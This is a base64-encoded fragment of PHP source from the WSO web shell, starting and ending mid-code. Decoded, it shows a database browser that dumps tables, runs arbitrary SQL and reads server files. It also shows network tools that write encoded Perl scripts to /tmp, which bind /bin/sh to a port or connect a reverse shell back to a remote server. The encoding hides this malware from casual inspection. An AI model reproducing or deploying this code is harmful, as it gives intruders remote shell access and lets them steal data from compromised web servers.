KSB7DQogICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2Nw | |
MTI1MScpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0 | |
KCd1dGY4Jyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFy | |
c2V0KCdrb2k4cicpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0 | |
Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0+ | |
c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7DQogICAgICAgIH0NCiAgICAgICAgaWYoZW1wdHko | |
JF9QT1NUWydmaWxlJ10pKSB7DQogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwg | |
NDA5Nik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1l | |
bnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlw | |
ZTogdGV4dC9wbGFpbiIpOw0KICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2 | |
KQ0KCQkJCSRkYi0+ZHVtcCgkdik7DQogICAgICAgICAgICBleGl0Ow0KICAgICAgICB9IGVsc2Vp | |
ZigkZnAgPSBAZm9wZW4oJF9QT1NUWydmaWxlJ10sICd3JykpIHsNCiAgICAgICAgICAgIGZvcmVh | |
Y2goJF9QT1NUWyd0YmwnXSBhcyAkdikNCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYsICRm | |
cCk7DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsn | |
cDInXSk7DQogICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgZGllKCc8c2NyaXB0PmFsZXJ0KCJF | |
cnJvciEgQ2FuXCd0IG9wZW4gZmlsZSIpO3dpbmRvdy5oaXN0b3J5LmJhY2soLTEpPC9zY3JpcHQ+ | |
Jyk7DQoJfQ0KCXdzb0hlYWRlcigpOw0KCWVjaG8gIg0KPGgxPlNxbCBicm93c2VyPC9oMT48ZGl2 | |
IGNsYXNzPWNvbnRlbnQ+DQo8Zm9ybSBuYW1lPSdzZicgbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD0n | |
ZnModGhpcyk7Jz48dGFibGUgY2VsbHBhZGRpbmc9JzInIGNlbGxzcGFjaW5nPScwJz48dHI+DQo8 | |
dGQ+VHlwZTwvdGQ+PHRkPkhvc3Q8L3RkPjx0ZD5Mb2dpbjwvdGQ+PHRkPlBhc3N3b3JkPC90ZD48 | |
dGQ+RGF0YWJhc2U8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5h | |
bWU9YSB2YWx1ZT1TcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3F1ZXJ5Jz48 | |
aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT0nJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFt | |
ZT1jIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1 | |
dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJz | |
ZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4iJz4NCjx0ZD48c2VsZWN0IG5hbWU9J3R5cGUn | |
PjxvcHRpb24gdmFsdWU9J215c3FsJyAiOw0KICAgIGlmKEAkX1BPU1RbJ3R5cGUnXT09J215c3Fs | |
JyllY2hvICdzZWxlY3RlZCc7DQplY2hvICI+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdw | |
Z3NxbCcgIjsNCmlmKEAkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJyllY2hvICdzZWxlY3RlZCc7DQpl | |
Y2hvICI+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9 | |
dGV4dCBuYW1lPXNxbF9ob3N0IHZhbHVlPVwiIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/ | |
J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIlwiPjwv | |
dGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT1cIiIuIChlbXB0 | |
eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8ncm9vdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Nx | |
bF9sb2dpbiddKSkgLiJcIj48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFz | |
cyB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hh | |
cnMoJF9QT1NUWydzcWxfcGFzcyddKSkgLiJcIj48L3RkPjx0ZD4iOw0KCSR0bXAgPSAiPGlucHV0 | |
IHR5cGU9dGV4dCBuYW1lPXNxbF9iYXNlIHZhbHVlPScnPiI7DQoJaWYoaXNzZXQoJF9QT1NUWydz | |
cWxfaG9zdCddKSl7DQoJCWlmKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9T | |
VFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkg | |
ew0KCQkJc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7DQoJCQkJY2FzZSAiV2luZG93cy0xMjUx | |
IjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7DQoJCQkJY2FzZSAiVVRGLTgiOiAk | |
ZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7DQoJCQkJY2FzZSAiS09JOC1SIjogJGRiLT5z | |
ZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsNCgkJCQljYXNlICJLT0k4LVUiOiAkZGItPnNldENo | |
YXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOw0KCQkJCWNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0 | |
KCdjcDg2NicpOyBicmVhazsNCgkJCX0NCgkJCSRkYi0+bGlzdERicygpOw0KCQkJZWNobyAiPHNl | |
bGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsNCgkJCXdoaWxl | |
KCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7DQoJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgk | |
aXRlbSk7DQoJCQkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0k | |
X1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsN | |
CgkJCX0NCgkJCWVjaG8gJzwvc2VsZWN0Pic7DQoJCX0NCgkJZWxzZSBlY2hvICR0bXA7DQoJfWVs | |
c2UNCgkJZWNobyAkdG1wOw0KCWVjaG8gIjwvdGQ+DQoJCQkJPHRkPjxpbnB1dCB0eXBlPXN1Ym1p | |
dCB2YWx1ZT0nPj4nIG9uY2xpY2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8 | |
dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zcWxfY291bnQgdmFsdWU9J29uJyIgLiAoZW1w | |
dHkoJF9QT1NUWydzcWxfY291bnQnXSk/Jyc6JyBjaGVja2VkJykgLiAiPiBjb3VudCB0aGUgbnVt | |
YmVyIG9mIHJvd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90YWJsZT4NCgkJPHNjcmlwdD4NCiAgICAg | |
ICAgICAgIHNfZGI9JyIuQGFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsNCiAgICAg | |
ICAgICAgIGZ1bmN0aW9uIGZzKGYpIHsNCiAgICAgICAgICAgICAgICBpZihmLnNxbF9iYXNlLnZh | |
bHVlIT1zX2RiKSB7IGYub25zdWJtaXQgPSBmdW5jdGlvbigpIHt9Ow0KICAgICAgICAgICAgICAg | |
ICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAy | |
KSBmLnAyLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAzKSBmLnAzLnZhbHVl | |
PScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWZ1bmN0aW9uIHN0KHQs | |
bCkgew0KCQkJCWQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsNCgkJCQlkLnNmLnAyLnZhbHVlID0g | |
dDsNCiAgICAgICAgICAgICAgICBpZihsICYmIGQuc2YucDMpIGQuc2YucDMudmFsdWUgPSBsOw0K | |
CQkJCWQuc2Yuc3VibWl0KCk7DQoJCQl9DQoJCQlmdW5jdGlvbiBpcygpIHsNCgkJCQlmb3IoaT0w | |
O2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQ0KCQkJCQlkLnNmLmVsZW1lbnRz | |
Wyd0YmxbXSddW2ldLmNoZWNrZWQgPSAhZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2Vk | |
Ow0KCQkJfQ0KCQk8L3NjcmlwdD4iOw0KCWlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsNCgkJ | |
ZWNobyAiPGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+ | |
IjsNCgkJCWlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsNCgkJCQkkZGItPnNlbGVjdGRi | |
KCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQoJCQkJZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdi | |
b3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPiI7 | |
DQoJCQkJJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7DQoJCQkJd2hpbGUoJGl0ZW0gPSAk | |
ZGItPmZldGNoKCR0YmxzX3JlcykpIHsNCgkJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgk | |
aXRlbSk7DQogICAgICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCdd | |
KSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdT | |
RUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7DQoJCQkJCSR2YWx1ZSA9IGh0 | |
bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsNCgkJCQkJZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2No | |
ZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBv | |
bmNsaWNrPVwic3QoJyIuJHZhbHVlLiInLDEpXCI+Ii4kdmFsdWUuIjwvYT4iIC4gKGVtcHR5KCRf | |
UE9TVFsnc3FsX2NvdW50J10pPycmbmJzcDsnOiIgPHNtYWxsPih7JG5bJ24nXX0pPC9zbWFsbD4i | |
KSAuICI8L25vYnI+PGJyPiI7DQoJCQkJfQ0KCQkJCWVjaG8gIjxpbnB1dCB0eXBlPSdjaGVja2Jv | |
eCcgb25jbGljaz0naXMoKTsnPiA8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0R1bXAnIG9uY2xp | |
Y2s9J2RvY3VtZW50LnNmLnAyLnZhbHVlPVwiZG93bmxvYWRcIjtkb2N1bWVudC5zZi5zdWJtaXQo | |
KTsnPjxicj5GaWxlIHBhdGg6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWZpbGUgdmFsdWU9J2R1bXAu | |
c3FsJz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7DQoJCQkJ | |
aWYoQCRfUE9TVFsncDEnXSA9PSAnc2VsZWN0Jykgew0KCQkJCQkkX1BPU1RbJ3AxJ10gPSAncXVl | |
cnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSAkX1BPU1RbJ3AzJ10/JF9Q | |
T1NUWydwMyddOjE7DQoJCQkJCSRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00g | |
JyAuICRfUE9TVFsncDInXSk7DQoJCQkJCSRudW0gPSAkZGItPmZldGNoKCk7DQoJCQkJCSRwYWdl | |
cyA9IGNlaWwoJG51bVsnbiddIC8gMzApOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8c2Ny | |
aXB0PmQuc2Yub25zdWJtaXQ9ZnVuY3Rpb24oKXtzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAiXCIs | |
IGQuc2YucDMudmFsdWUpfTwvc2NyaXB0PjxzcGFuPiIuJF9QT1NUWydwMiddLiI8L3NwYW4+ICh7 | |
JG51bVsnbiddfSByZWNvcmRzKSBQYWdlICMgPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdwMycgdmFs | |
dWU9IiAuICgoaW50KSRfUE9TVFsncDMnXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIGVj | |
aG8gIiBvZiAkcGFnZXMiOw0KICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPiAx | |
KQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChc | |
IiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10tMSkgLiAiKSc+Jmx0OyBQ | |
cmV2PC9hPiI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA8ICRwYWdlcykN | |
CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIi | |
IC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddKzEpIC4gIiknPk5leHQgJmd0 | |
OzwvYT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10tLTsNCgkJCQkJaWYoJF9Q | |
T1NUWyd0eXBlJ109PSdwZ3NxbCcpDQoJCQkJCQkkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJP | |
TSAnLiRfUE9TVFsncDInXS4nIExJTUlUIDMwIE9GRlNFVCAnLigkX1BPU1RbJ3AzJ10qMzApOw0K | |
CQkJCQllbHNlDQoJCQkJCQkkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1Rb | |
J3AyJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwMyddKjMwKS4nLDMwJzsNCgkJCQkJZWNobyAiPGJy | |
Pjxicj4iOw0KCQkJCX0NCgkJCQlpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1w | |
dHkoJF9QT1NUWydwMiddKSkgew0KCQkJCQkkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AyJ10pOw0KCQkJ | |
CQlpZigkZGItPnJlcyAhPT0gZmFsc2UpIHsNCgkJCQkJCSR0aXRsZSA9IGZhbHNlOw0KCQkJCQkJ | |
ZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGNsYXNz | |
PW1haW4gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzI5MjkyOSI+JzsNCgkJCQkJCSRsaW5lID0g | |
MTsNCgkJCQkJCXdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKQl7DQoJCQkJCQkJaWYoISR0aXRs | |
ZSkJew0KCQkJCQkJCQllY2hvICc8dHI+JzsNCgkJCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAka2V5 | |
ID0+ICR2YWx1ZSkNCgkJCQkJCQkJCWVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsNCgkJCQkJCQkJ | |
cmVzZXQoJGl0ZW0pOw0KCQkJCQkJCQkkdGl0bGU9dHJ1ZTsNCgkJCQkJCQkJZWNobyAnPC90cj48 | |
dHI+JzsNCgkJCQkJCQkJJGxpbmUgPSAyOw0KCQkJCQkJCX0NCgkJCQkJCQllY2hvICc8dHIgY2xh | |
c3M9ImwnLiRsaW5lLiciPic7DQoJCQkJCQkJJGxpbmUgPSAkbGluZT09MT8yOjE7DQoJCQkJCQkJ | |
Zm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkgew0KCQkJCQkJCQlpZigkdmFsdWUgPT0g | |
bnVsbCkNCgkJCQkJCQkJCWVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsNCgkJCQkJCQkJZWxz | |
ZQ0KCQkJCQkJCQkJZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4n | |
PC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQllY2hvICc8L3RyPic7DQoJCQkJCQl9DQoJCQkJCQll | |
Y2hvICc8L3RhYmxlPic7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQllY2hvICc8ZGl2PjxiPkVycm9y | |
OjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7DQoJCQkJCX0N | |
CgkJCQl9DQoJCQkJZWNobyAiPGJyPjwvZm9ybT48Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1 | |
ZT1cInF1ZXJ5XCI7ZC5zZi5wMi52YWx1ZT10aGlzLnF1ZXJ5LnZhbHVlO2RvY3VtZW50LnNmLnN1 | |
Ym1pdCgpO3JldHVybiBmYWxzZTsnPjx0ZXh0YXJlYSBuYW1lPSdxdWVyeScgc3R5bGU9J3dpZHRo | |
OjEwMCU7aGVpZ2h0OjEwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1Rb | |
J3AyJ10pICYmICgkX1BPU1RbJ3AxJ10gIT0gJ2xvYWRmaWxlJykpDQogICAgICAgICAgICAgICAg | |
ICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOw0KICAgICAgICAgICAgICAg | |
IGVjaG8gIjwvdGV4dGFyZWE+PGJyLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0V4ZWN1dGUn | |
PiI7DQoJCQkJZWNobyAiPC90ZD48L3RyPiI7DQoJCQl9DQoJCQllY2hvICI8L3RhYmxlPjwvZm9y | |
bT48YnIvPiI7DQogICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykgew0KICAg | |
ICAgICAgICAgICAgICRkYi0+cXVlcnkoIlNFTEVDVCAxIEZST00gbXlzcWwudXNlciBXSEVSRSBj | |
b25jYXQoYHVzZXJgLCAnQCcsIGBob3N0YCkgPSBVU0VSKCkgQU5EIGBGaWxlX3ByaXZgID0gJ3kn | |
Iik7DQogICAgICAgICAgICAgICAgaWYoJGRiLT5mZXRjaCgpKQ0KICAgICAgICAgICAgICAgICAg | |
ICBlY2hvICI8Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1l | |
bnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBm | |
YWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5 | |
cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7DQog | |
ICAgICAgICAgICB9DQoJCQlpZihAJF9QT1NUWydwMSddID09ICdsb2FkZmlsZScpIHsNCgkJCQkk | |
ZmlsZSA9ICRkYi0+bG9hZEZpbGUoJF9QT1NUWydwMiddKTsNCgkJCQllY2hvICc8YnIvPjxwcmUg | |
Y2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsNCgkJ | |
CX0NCgl9IGVsc2Ugew0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigp | |
KTsNCiAgICB9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFj | |
dGlvbk5ldHdvcmsoKSB7DQoJd3NvSGVhZGVyKCk7DQoJJGJhY2tfY29ubmVjdF9wPSJJeUV2ZFhO | |
eUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdr | |
UVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZ | |
MnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklD | |
UWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJO | |
clpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4 | |
ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmha | |
R1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBp | |
WlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0 | |
b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ25MMkpwYmk5emFDQXRhU2Nw | |
T3cwS1kyeHZjMlVvVTFSRVNVNHBPdzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5zYjNObEtGTlVS | |
RVZTVWlrNyI7DQoJJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3 | |
OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5 | |
RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNS | |
VUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpX | |
RjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5 | |
U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBz | |
U1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNh | |
WE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FH | |
bHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21z | |
cEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xr | |
S1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJ | |
ajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklD | |
UlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VW | |
TVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOw0K | |
CWVjaG8gIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJPGZvcm0g | |
bmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdicHAnLHRoaXMucG9ydC52YWx1ZSk7 | |
cmV0dXJuIGZhbHNlO1wiPg0KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoIFtwZXJsXTwvc3Bh | |
bj48YnIvPg0KCVBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEz | |
MzcnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz4NCgk8L2Zvcm0+DQoJPGZvcm0gbmFt | |
ZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdiY3AnLHRoaXMuc2VydmVyLnZhbHVlLHRo | |
aXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPg0KCTxzcGFuPkJhY2stY29ubmVjdCAgW3Bl | |
cmxdPC9zcGFuPjxici8+DQoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVy | |
JyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQb3J0OiA8aW5wdXQgdHlw | |
ZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZh | |
bHVlPSc+Pic+DQoJPC9mb3JtPjxicj4iOw0KCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsNCgkJ | |
ZnVuY3Rpb24gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9u | |
X2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsNCgkJCWlmKCR3KXsNCgkJCQlAZndyaXRlKCR3 | |
LEBiYXNlNjRfZGVjb2RlKCR0KSk7DQoJCQkJQGZjbG9zZSgkdyk7DQoJCQl9DQoJCX0NCgkJaWYo | |
JF9QT1NUWydwMSddID09ICdicHAnKSB7DQoJCQljZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9w | |
KTsNCgkJCSRvdXQgPSB3c29FeCgicGVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgMT4v | |
ZGV2L251bGwgMj4mMSAmIik7DQogICAgICAgICAgICBzbGVlcCgxKTsNCgkJCWVjaG8gIjxwcmUg | |
Y2xhc3M9bWwxPiRvdXRcbiIud3NvRXgoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU+IjsN | |
CiAgICAgICAgICAgIHVubGluaygiL3RtcC9icC5wbCIpOw0KCQl9DQoJCWlmKCRfUE9TVFsncDEn | |
XSA9PSAnYmNwJykgew0KCQkJY2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7DQoJCQkk | |
b3V0ID0gd3NvRXgoInBlcmwgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydw | |
MyddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQogICAgICAgICAgICBzbGVlcCgxKTsNCgkJCWVj | |
aG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIud3NvRXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4i | |
PC9wcmU+IjsNCiAgICAgICAgICAgIHVubGluaygiL3RtcC9iYy5wbCIpOw0KCQl9DQoJfQ0KCWVj | |
aG8gJzwvZGl2Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3Rpb25SQygpIHsNCglp | |
ZighQCRfUE9TVFsncDEnXSkgew0KCQkkYSA9IGFycmF5KA0KCQkJInVuYW1lIiA9PiBwaHBfdW5h | |
bWUoKSwNCgkJCSJwaHBfdmVyc2lvbiIgPT4gcGhwdmVyc2lvbigpLA0KCQkJIndzb192ZXJzaW9u | |
IiA9PiBXU09fVkVSU0lPTiwNCgkJCSJzYWZlbW9kZSIgPT4gQGluaV9nZXQoJ3NhZmVfbW9kZScp | |
